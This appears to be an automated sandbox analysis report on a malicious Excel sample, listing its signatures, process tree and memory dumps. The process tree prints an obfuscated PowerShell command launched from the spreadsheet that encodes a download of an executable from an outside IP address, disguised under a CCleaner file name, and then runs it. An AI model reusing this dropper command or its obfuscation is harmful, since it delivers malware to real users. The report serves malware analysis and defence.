Analysis
- max time kernel
146s - max time network
164s - platform
windows10-2004_x64 - resource
win10v2004-20250502-en - resource tags
- submitted
02/06/2025, 22:44
General
- Target uploaded/6a4af3ace8066e79a1020e27b2c1cc3f81d6cd8d68d1329e67b93e44b9d3d008.xls
- Size 173KB
- Sample250602-2pacdabk21
- SHA256 6a4af3ace8066e79a1020e27b2c1cc3f81d6cd8d68d1329e67b93e44b9d3d008
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 14 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\uploaded\6a4af3ace8066e79a1020e27b2c1cc3f81d6cd8d68d1329e67b93e44b9d3d008.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\CmD.exeCmD /c POwersHell -cOmManD " ( '101000;1001110-1100101o1110111-101101U1001111o1100010z1101010~1100101z1100011z1110100;100000D1010011D1111001E1110011z1110100a1100101~1101101E101110;1001110~1100101;1110100k101110-1010111E1100101a1100010~1100011U1101100;1101001U1100101U1101110k1110100;101001o101110z1000100-1101111-1110111z1101110;1001100k1101111o1100001o1100100D1000110~1101001~1101100z1100101;101000o100111-1101000;1110100a1110100D1110000~111010;101111o101111U110110-110100k101110~110001D111000U111000E101110;110001o110011z101110;110100o110110;101111D1100100;1100101z1101100z1101001-1110110U1100101-1110010o1111001~1111001a1111001o1111001a1111001U1111001~1111001a1111001~1111001~101111z1100001z1100100U1110111o1100011~101110E1100101U1111000k1100101E100111D101100E100111;1000011-111010E1011100-1010101-1110011k1100101z1110010-1110011a1011100z1010000;1110101a1100010o1101100-1101001z1100011z1011100~1000011U1000011o1101100U1100101-1100001z1101110a1100101a1110010-101110E1100101o1111000z1100101E100111;101001z111011D1010011o1110100o1100001o1110010o1110100z101101a1010000~1110010k1101111D1100011a1100101-1110011a1110011U101000U100111-1000011D111010k1011100a1010101o1110011E1100101a1110010E1110011U1011100k1010000~1110101-1100010z1101100a1101001U1100011E1011100E1000011~1000011U1101100o1100101U1100001E1101110E1100101k1110010~101110k1100101E1111000D1100101o100111z101001' -SpLIt 'o'-sPLit 'E' -SPliT'U' -SplIT'a' -spliT '~' -SPLIT 'k' -spLIt';' -SpLIt '-' -SpLiT 'D' -sPlIt 'z'| FOReaCH-oBJeCT {( [ChaR] ([CoNVerT]::TOint16(( $_.TOStrINg()) ,2) ))} )-joIN '' | .( ([strING]$VERBOSepReferENCe)[1,3]+'x'-JoiN'')"2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePOwersHell -cOmManD " ( '101000;1001110-1100101o1110111-101101U1001111o1100010z1101010~1100101z1100011z1110100;100000D1010011D1111001E1110011z1110100a1100101~1101101E101110;1001110~1100101;1110100k101110-1010111E1100101a1100010~1100011U1101100;1101001U1100101U1101110k1110100;101001o101110z1000100-1101111-1110111z1101110;1001100k1101111o1100001o1100100D1000110~1101001~1101100z1100101;101000o100111-1101000;1110100a1110100D1110000~111010;101111o101111U110110-110100k101110~110001D111000U111000E101110;110001o110011z101110;110100o110110;101111D1100100;1100101z1101100z1101001-1110110U1100101-1110010o1111001~1111001a1111001o1111001a1111001U1111001~1111001a1111001~1111001~101111z1100001z1100100U1110111o1100011~101110E1100101U1111000k1100101E100111D101100E100111;1000011-111010E1011100-1010101-1110011k1100101z1110010-1110011a1011100z1010000;1110101a1100010o1101100-1101001z1100011z1011100~1000011U1000011o1101100U1100101-1100001z1101110a1100101a1110010-101110E1100101o1111000z1100101E100111;101001z111011D1010011o1110100o1100001o1110010o1110100z101101a1010000~1110010k1101111D1100011a1100101-1110011a1110011U101000U100111-1000011D111010k1011100a1010101o1110011E1100101a1110010E1110011U1011100k1010000~1110101-1100010z1101100a1101001U1100011E1011100E1000011~1000011U1101100o1100101U1100001E1101110E1100101k1110010~101110k1100101E1111000D1100101o100111z101001' -SpLIt 'o'-sPLit 'E' -SPliT'U' -SplIT'a' -spliT '~' -SPLIT 'k' -spLIt';' -SpLIt '-' -SpLiT 'D' -sPlIt 'z'| FOReaCH-oBJeCT {( [ChaR] ([CoNVerT]::TOint16(( $_.TOStrINg()) ,2) ))} )-joIN '' | .( ([strING]$VERBOSepReferENCe)[1,3]+'x'-JoiN'')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_p4lssku0.3hg.ps1
b8ab77100df80ab2.customDestinations-ms
memory/3016-16-0x00007FFE74720000-0x00007FFE74730000-memory.dmp
memory/3016-45-0x00007FFEB6730000-0x00007FFEB6925000-memory.dmp
memory/3016-3-0x00007FFEB67CD000-0x00007FFEB67CE000-memory.dmp
memory/3016-0-0x00007FFE767B0000-0x00007FFE767C0000-memory.dmp
memory/3016-7-0x00007FFE767B0000-0x00007FFE767C0000-memory.dmp
memory/3016-9-0x00007FFEB6730000-0x00007FFEB6925000-memory.dmp
memory/3016-8-0x00007FFEB6730000-0x00007FFEB6925000-memory.dmp
memory/3016-6-0x00007FFEB6730000-0x00007FFEB6925000-memory.dmp
memory/3016-11-0x00007FFEB6730000-0x00007FFEB6925000-memory.dmp
memory/3016-10-0x00007FFEB6730000-0x00007FFEB6925000-memory.dmp
memory/3016-12-0x00007FFE74720000-0x00007FFE74730000-memory.dmp
memory/3016-15-0x00007FFEB6730000-0x00007FFEB6925000-memory.dmp
memory/3016-2-0x00007FFE767B0000-0x00007FFE767C0000-memory.dmp
memory/3016-14-0x00007FFEB6730000-0x00007FFEB6925000-memory.dmp
memory/3016-5-0x00007FFEB6730000-0x00007FFEB6925000-memory.dmp
memory/3016-70-0x00007FFEB6730000-0x00007FFEB6925000-memory.dmp
memory/3016-13-0x00007FFEB6730000-0x00007FFEB6925000-memory.dmp
memory/3016-68-0x00007FFE767B0000-0x00007FFE767C0000-memory.dmp
memory/3016-4-0x00007FFE767B0000-0x00007FFE767C0000-memory.dmp
memory/3016-25-0x00007FFEB6730000-0x00007FFEB6925000-memory.dmp
memory/3016-69-0x00007FFE767B0000-0x00007FFE767C0000-memory.dmp
memory/3016-44-0x00007FFEB6730000-0x00007FFEB6925000-memory.dmp
memory/3016-26-0x00007FFEB6730000-0x00007FFEB6925000-memory.dmp
memory/3016-1-0x00007FFE767B0000-0x00007FFE767C0000-memory.dmp
memory/3016-67-0x00007FFE767B0000-0x00007FFE767C0000-memory.dmp
memory/3016-66-0x00007FFE767B0000-0x00007FFE767C0000-memory.dmp
memory/5096-43-0x00007FFEB6730000-0x00007FFEB6925000-memory.dmp
memory/5096-27-0x00007FFEB6730000-0x00007FFEB6925000-memory.dmp
memory/5096-31-0x000002C4E5C50000-0x000002C4E5C72000-memory.dmp